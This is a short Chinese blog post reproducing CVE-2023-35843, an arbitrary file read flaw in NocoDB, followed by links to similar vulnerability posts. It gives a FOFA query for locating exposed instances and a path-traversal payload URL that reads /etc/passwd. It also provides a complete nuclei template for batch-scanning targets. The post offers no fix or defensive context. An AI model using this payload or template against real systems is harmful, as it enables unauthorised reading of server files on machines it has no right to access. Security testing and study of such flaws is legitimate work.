CVE-2023-35843NocoDB 任意文件读取漏洞(CVE-2023-35843）

港控/mmm° 2024-05-23 14:15 84阅读 0赞

### CVE-2023-35843NocoDB 任意文件读取漏洞(CVE-2023-35843） ###

### 漏洞复现 ###

fofa语法：title=“NocoDB”  
![在这里插入图片描述][4a42f4ed2da04c52b057c8f4d129b161.png]  
payload:

http://xx.xx.xx.xx:xxxx/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

![在这里插入图片描述][18dc6394a6764d10995ade09913af0df.png]  
nuclei批量检测：  
![在这里插入图片描述][81caf919b70149629d516e5e1d2d0d57.png]

id: NocoDB_files_read
    info:
      name: NocoDB_files_read
      author: ab0ne
      severity: critical
      description: http://xxx.xxx.xxx/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
      metadata:
        max-request: 1
        fofa-query: title="NocoDB"
        verified: true
        CVE: CVE-2023-35843
      tags: readfile,NocoDB,cve,cve2023
    
    requests:
      - method: GET
        path:
          - "{
        {BaseURL}}/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
    
        matchers-condition: and
        matchers:
          - type: status
            status:
              - 200
          - type: word
            words:
              - '/root'

[4a42f4ed2da04c52b057c8f4d129b161.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/51a9d41cd43747ff9d8a4183144890a8.png
[18dc6394a6764d10995ade09913af0df.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/ed3bec553a73411a965787c0417d4d7f.png
[81caf919b70149629d516e5e1d2d0d57.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/f1051dd6423b4e75925eb98f052702b9.png

发表评论取消回复

表情：

评论列表（有 0 条评论，84人围观）

还没有评论，来说两句吧...

相关阅读

相关 Stakater Forecastle任意文件读取漏洞（cve-2023-40297）

Stakater Forecastle是一个控制面板。它动态发现并提供一个启动板来访问部署在Kuberneters上的应用程序。

水深无声/ 2024年05月23日 14:16/ 0 赞/ 80 阅读

相关 CVE-2023-35843NocoDB 任意文件读取漏洞(CVE-2023-35843）

cve-2023-35843

港控/mmm°/ 2024年05月23日 14:15/ 0 赞/ 85 阅读

相关 [ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)在ImageMagick 7.1.0-51版本及以前存在CVE-...

- 日理万妓/ 2024年04月29日 01:49/ 0 赞/ 89 阅读

相关 Grafana任意文件读取漏洞复现（CVE-2021-43798）

目录 1、漏洞描述 2、影响版本 3、环境搭建 4、漏洞复现 5、安全建议 1、漏洞描述 Gr

妖狐艹你老母/ 2023年10月06日 21:06/ 0 赞/ 26 阅读

相关 cve漏洞(cve漏洞库)

怎样修复CVE-2015-5122漏洞建议腾讯电脑管家修复 1)腾讯电脑管家会智能匹配电脑系统，针对性推送适合系统的高危漏洞补丁，而其他安全软件可能推送非高危漏洞补丁

墨蓝/ 2023年09月26日 12:59/ 0 赞/ 91 阅读

相关 CVE-2021-43798——Grafana 未授权任意文件读取

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞，能够获

我会带着你远行/ 2023年09月25日 20:25/ 0 赞/ 69 阅读

相关 Apache Tomcat任意文件上传漏洞(CVE-2017-12615)

一、漏洞起源 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号：CVE-2017-12615和CVE-2017-12616。

不念不忘少年蓝@/ 2023年09月23日 23:10/ 0 赞/ 120 阅读

相关 Lanproxy 任意文件读取漏洞复现 (CVE-2021-3019)

学习文档下载 https://download.csdn.net/download/qq_41901122/14944324 文章目录漏洞

谁借莪１个温暖的怀抱￠/ 2023年01月12日 01:48/ 0 赞/ 181 阅读

相关 vulfocus——Tomcat任意写入文件漏洞(CVE-2017-12615)

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhp

痛定思痛。/ 2022年11月25日 13:23/ 0 赞/ 152 阅读

相关 tomcat漏洞之任意文件上传（CVE-2017-12615）

文章目录 0x00 漏洞介绍 0x01影响版本 0×02原理分析 0×04 环境搭建

妖狐艹你老母/ 2022年09月12日 11:47/ 0 赞/ 7 阅读